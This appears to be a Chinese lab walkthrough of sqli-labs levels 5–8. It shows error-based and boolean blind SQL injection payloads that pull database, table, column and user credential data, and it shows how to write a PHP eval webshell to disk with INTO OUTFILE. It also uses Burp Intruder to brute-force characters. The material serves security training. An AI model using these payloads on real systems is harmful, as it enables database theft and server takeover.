文章目录
第五关
当输入?id=1
时显示下面的页面
当输入?id=1'
时显示异常
页面没有显示位。无法使用联合查询注入。
显示位的解释:在一个网站正常的界面,服务端执行Sql语句查询数据库中的数据,客户端会将数据显示在页面中,这个显示数据的位置就叫做显示位。
如:
报错注入
什么是报错注入呢?
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。0x7e=’~’
首先介绍三种报错注入常用的语句: (1). 通过floor报错 and (select 1 from (select
count(*),concat(( payload),floor (rand(0)*2))x from
information_schema.tables group by x)a) 其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效(3). 通过ExtractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
这些是我参考大佬的博客所得到的
floor报错语句注入:
?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+
?id=-1' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
爆数据库
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆数据表
?id=-1'union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出。
?id=-1'union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
这里我们改变limit 的条件就可以了,爆出了users
爆列名(字段)
?id=-1'union select count(*),1, concat('~',(select concat(column_name) from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆数据值
?id=-1'union select count(*),1, concat('~',(select concat(username,0x3a,password) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
我们要不断改变limit的条件来找到我们想要的值!
extractvalue函数进行报错注入
可以理解为,让后台xml故意报错。
利用这种方式我们对后台进行一个排序,指定第一个参数为null,让它故意报错,将第二个参数的语句带入数据库执行,最后报错显示执行的结果。
id=1 and
爆数据库
?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
爆表名
?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
爆列名(字段)
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
爆值
?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
这里也需要不断改变limit的条件,找到我们想要的表名,字段名!
第六关
闭合符号为双引号,其他均与第五关相同。
第七关
导出文件GET字符型注入
导出文件
1、LOAD_FILE 可以利用该函数,进写入shell 用法:
select load_file(‘file1’) into outfile ‘file2’
将file1的文件导入WEB目录file2的文件中进行访问。
2、 另外要保证正常的文件写入与读取要在mysql目录找到my.in这个文件,
最后一行新增secure_file_priv= " "方法,才能使用LOAD_FILE在生产环境情况下。
3、导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面。
常用的语句是: select “<?php @eval($_POST['giantbranch']);?>” into outfile “XXX\test.php”
手打路径真的很麻烦,随便找个简单关测试出路径
?id=-1 union select 1,@@basedir,@@datadir --+
payload
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["ZC"]);?>' into outfile "C://phpStudy//PHPTutorial//WWW//sqli-labs-master//Less-7//ZC.php"--+
虽然回显报错了,但是在D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\下应该有我们所创建的ZC.php
如果没有找到,那么我们就需要改动C:\phpStudy\PHPTutorial\MySQL下的my.ini
添加secure-file-prive="",保存,重启mysql
打开
使用蚁剑可以连接,成功
第八关
关于burpsuite抓不到本地包的问题
这里我们以firefox为例:
首先我们配置burp的代理:
Proxy>>options add 本机ip:127.0.0.1和端口号:8080
我们打开firefox浏览器,配置代理设置:
一定要选择手动配置代理,按下图操作。
然后我们在FoxyProxy 新建代理服务器,添加本机地址和端口号
工作模式选择:为全部URLs启动代理服务器“127.0.0.1:8080”
这样问题就解决了
布尔盲注
1.布尔盲注利用前提:
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.注入原理:
注入的时候只会返回True和False,所以布尔盲注就是根据页面显示的是True还是False进行猜测数据库中的信息。
3.布尔盲注过程:sqli-labs-master/Less-8
进入正题:
首先判断闭合符号(是否存在注入点)
http://127.0.0.1/sqli-labs-master/Less-8/?id=1
发现没有回显位。
当输入?id=1'
报错了,但加上注释符号(%23)又显示正常;
爆破数据库
爆数据库长度:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+
手工爆破的话就需要不断增加长度,最后得出数据库的长度是8
ascii码爆破数据库名
Less-8/?id=1' and ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+
取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以用burp爆破,也可以写脚本。
burp爆破:
先构造好注入语句
?id=1' and ascii(substr((database()),1,1)) = 115 --+
下图是设置好的;
直接开始攻击
把这些ascii码拿去转换一下得到数据库的名字:security
left函数 爆破数据库名:
这里我们要用到left函数
?id=1' and left(database(),1)='s' --+
这个语句的意思就是测试数据库名的第一个字符是否为‘s’。
下面我们来试一下:
回显正确,证明数据库名称的第一个字母为‘s’
那我我们是不是也可以用burpsuite对其进行一个爆破呢?
没错
构建注入语句
?id=1' and left(database(),1)='a' --+
我们需要在桌面写一个字典:a~z
进行爆破
抓到包之后send to intruder
将’a’设为参数,payload type选择Runtime file,选择我们写好的字典。
爆破开始
我们手工的时候就发现第一个字母是s了,这里只是为了演示一下,
继续:
这里需要把之前的数字1改为2,另外参数a前也要加上s
进行攻击,我们就会发现第二个字符是e,依次类推,便得出数据库的名了:security.
注意:
必须递进,依次去获取每一位,也就是说当我们爆破第三位的时候,‘2’就需要改为’3’,而参数a前就需要加上se,类推。
ascii爆破数据表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101)--+
爆破发现第一个表的第一位的ascii码是101,也就是字母e,
那么和爆数据库名的时候一样,需要改变limit的值,以此类推,可以找到所有的表。
爆列名(字段)
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>97--+
爆数据值
?id=1' and (ascii(substr(( select username from users limit 0,1),1,1)))>65--+
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>65--+